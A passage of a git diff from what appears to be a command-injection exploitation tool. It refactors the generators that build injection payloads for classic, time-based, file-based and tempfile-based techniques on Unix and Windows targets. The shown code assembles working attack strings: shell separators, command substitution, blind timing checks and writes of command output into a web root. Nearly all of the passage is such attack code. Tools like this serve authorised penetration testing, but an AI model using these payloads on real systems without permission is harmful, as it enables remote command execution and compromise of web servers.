settings.CMD_SUB_SUFFIX ) else: @@ -451,8 +439,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -464,23 +452,21 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me else: if separator == ";" or separator == "%0a": payload = (separator + - "str=\"$(" + cmd + ")\"" + separator + + "str=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=\"$(" + cmd + ")\" " + separator + + "str=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" " + separator + "[ " + str(ascii_char) + " -eq $str ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) @@ -489,9 +475,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne \"$(" + cmd + ")\" ] " + separator + - "sleep " + str(timesec) + - separator + "[ " + str(ascii_char) + " -ne \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" ]" + separator + + "sleep " + str(timesec) ) else: pass @@ -509,38 +494,36 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a": payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) separator = _urllib.parse.unquote(separator) @@ -548,9 +531,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 2a8ddf9d21..edebe80b42 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1502,6 +1502,8 @@ def tamper_scripts(stored_tamper_scripts): if "hexencode" or "base64encode" == script: settings.MULTI_ENCODED_PAYLOAD.append(script) import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0] + if not stored_tamper_scripts: + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) warn_msg = "" if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "The dynamic code evaluation technique does " @@ -1509,13 +1511,15 @@ def tamper_scripts(stored_tamper_scripts): warn_msg = "Windows targets do " elif settings.TARGET_OS != settings.OS.WINDOWS and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "Unix-like targets do " + elif "backticks" == script and menu.options.alter_shell: + warn_msg = "Option '--alter-shell' " if len(warn_msg) != 0: if not stored_tamper_scripts: warn_msg = warn_msg + "not support the usage of '" + script + ".py'. Skipping tamper script." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: - if not stored_tamper_scripts: - settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) + # if not stored_tamper_scripts: + # settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) try: module = __import__(import_script, fromlist=[None]) if not hasattr(module, "__tamper__"): diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 801b885cc3..f892e9b8bb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -40,6 +40,26 @@ Checks if the testable parameter is exploitable. """ +""" +Heuristic basic checks payloads generator +""" +def basic_payload_generator(): + suffix = "" + if settings.USE_BACKTICKS: + prefix = "expr " + else: + prefix = "(" + suffix = ")" + settings.BASIC_STRING = prefix + settings.CALC_STRING + suffix + settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + + "%26echo " + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + + "|echo " + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + + settings.RANDOM_STRING_GENERATOR, + "|set /a " + settings.BASIC_STRING + "%26set /a " + settings.BASIC_STRING + ] +""" +Initializing basic level check status +""" def basic_level_checks(): settings.TIME_RELATIVE_ATTACK = False settings.SKIP_CODE_INJECTIONS = None @@ -134,13 +154,15 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites """ def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): check_parameter = check_parameter.lstrip().rstrip() + checks.perform_payload_modification(payload="") + basic_payload_generator() if menu.options.alter_shell: basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS else: basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS settings.CLASSIC_STATE = True try: - checks.perform_payload_modification(payload="") + # checks.perform_payload_modification(payload="") for whitespace in settings.WHITESPACES: if not settings.IDENTIFIED_COMMAND_INJECTION: _ = 0 @@ -735,12 +757,6 @@ def do_check(url, http_request_method, filename): warn_msg += "time-based injections because of inherent high latency time." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - # Check for "backticks" tamper script. - if settings.USE_BACKTICKS == True: - if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: - warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. " - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - perform_checks(url, http_request_method, filename) # All injection techniques seems to be failed! diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index e199fa3a74..6d03cf211d 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -311,15 +311,15 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t if settings.TARGET_OS == settings.OS.WINDOWS: if alter_shell: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + # if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + # cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + # else: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: rand_num = randv1 + randv2 cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" else: cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 0b8fbba36c..58bf283136 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -36,44 +36,22 @@ def decision(separator, TAG, randv1, randv2): "\"') do @set /p = " + TAG + "%i" + TAG + TAG + settings.CMD_NUL ) else: - if not settings.WAF_ENABLED: - if settings.USE_BACKTICKS: - math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`" - else: - math_calc = "$((" + str(randv1) + "%2B" + str(randv2) + "))" + if settings.USE_BACKTICKS or settings.WAF_ENABLED: + math_calc = settings.CMD_SUB_PREFIX + "expr " + str(randv1) + " %2B " + str(randv2) + settings.CMD_SUB_SUFFIX else: - if settings.USE_BACKTICKS: - math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`" - else: - math_calc = "$(expr " + str(randv1) + " %2B " + str(randv2) + ")" + math_calc = settings.CMD_SUB_PREFIX + "(" + str(randv1) + "%2B" + str(randv2) + "))" if settings.SKIP_CALC: - if settings.USE_BACKTICKS: - payload = (separator + - "echo " + TAG + - TAG + "" + TAG + "" + - separator - ) - else: - payload = (separator + - "echo " + TAG + - "$(echo " + TAG + ")" + TAG + "" + - separator - ) + payload = (separator + + "echo " + TAG + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + ) else: - if settings.USE_BACKTICKS: - payload = (separator + - "echo " + TAG + - math_calc + - TAG + "" + TAG + "" - ) - else: - payload = (separator + - "echo " + TAG + - math_calc + - "$(echo " + TAG + ")" + TAG + "" + - separator - ) + payload = (separator + + "echo " + TAG + + math_calc + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + ) return payload """ @@ -96,16 +74,14 @@ def decision_alter_shell(separator, TAG, randv1, randv2): payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + TAG + - TAG + "')\"" + - separator + TAG + "')\"" ) else: payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + - TAG + "')\"" + - separator + TAG + "')\"" ) return payload @@ -126,25 +102,13 @@ def cmd_execution(separator, TAG, cmd): ) else: settings.USER_APPLIED_CMD = cmd - if settings.USE_BACKTICKS: - cmd_exec = "`" + cmd + "`" - payload = (separator + - "echo " + TAG + - "" + TAG + "" + - cmd_exec + - "" + TAG + "" + TAG + "" + - separator - ) - else: - cmd_exec = "$(" + cmd + ")" - payload = (separator + - "echo " + TAG + - "$(echo " + TAG + ")" + - cmd_exec + - "$(echo " + TAG + ")" + TAG + "" + - separator - ) - + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + payload = (separator + + "echo " + TAG + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + + cmd_exec + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + ) return payload """ @@ -164,23 +128,14 @@ def cmd_execution_alter_shell(separator, TAG, cmd): TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + "') do @set /p=%i " + settings.CMD_NUL ) - else: - - if settings.USE_BACKTICKS: - payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + - " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo `" + cmd + ")`" + - TAG + "'%2B'" + TAG + "')\"" + - separator - ) - else: - payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + - " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo $(" + cmd + "))'%2B'" + - TAG + "'%2B'" + TAG + "')\"" + - separator - ) + settings.USER_APPLIED_CMD = cmd + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + payload = (separator + + settings.LINUX_PYTHON_INTERPRETER + + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "'%2B'" + + TAG + "'%2B'" + TAG + "')\"" + ) return payload # eof diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 4699b32c30..cafa7d2664 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -35,8 +35,7 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): ) else: payload = (separator + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + - separator + "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) return payload @@ -45,7 +44,6 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): - if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\"" payload = (separator + @@ -55,7 +53,7 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): ) else: payload = (separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX ) if settings.USER_AGENT_INJECTION == True or \ @@ -87,8 +85,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): else: settings.USER_APPLIED_CMD = cmd payload = (separator + - cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + - separator + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) return payload @@ -110,7 +107,8 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): ) else: payload = (separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX ) # New line fixation diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 74343e6445..f8101c6335 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -37,8 +37,8 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + @@ -51,30 +51,28 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + #"str1=${%23str}" + separator + "if [ " + str(j) + " -ne ${str1} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - "str1=$(expr length \"$str\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + #"str1=${%23str} " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -83,11 +81,10 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): pipe = "|" payload = (pipe + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) else: pass @@ -107,42 +104,40 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a" : payload = (separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) separator = _urllib.parse.unquote(separator) @@ -150,11 +145,10 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque elif separator == "||" : pipe = "|" payload = (pipe + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + # Find the length of the output, using readline(). - "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + - separator + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) else: pass @@ -191,8 +185,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -210,43 +204,41 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ) else: - settings.USER_APPLIED_CMD = cmd + if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + + "str=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $str > " + OUTPUT_TEXTFILE + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "cat " + 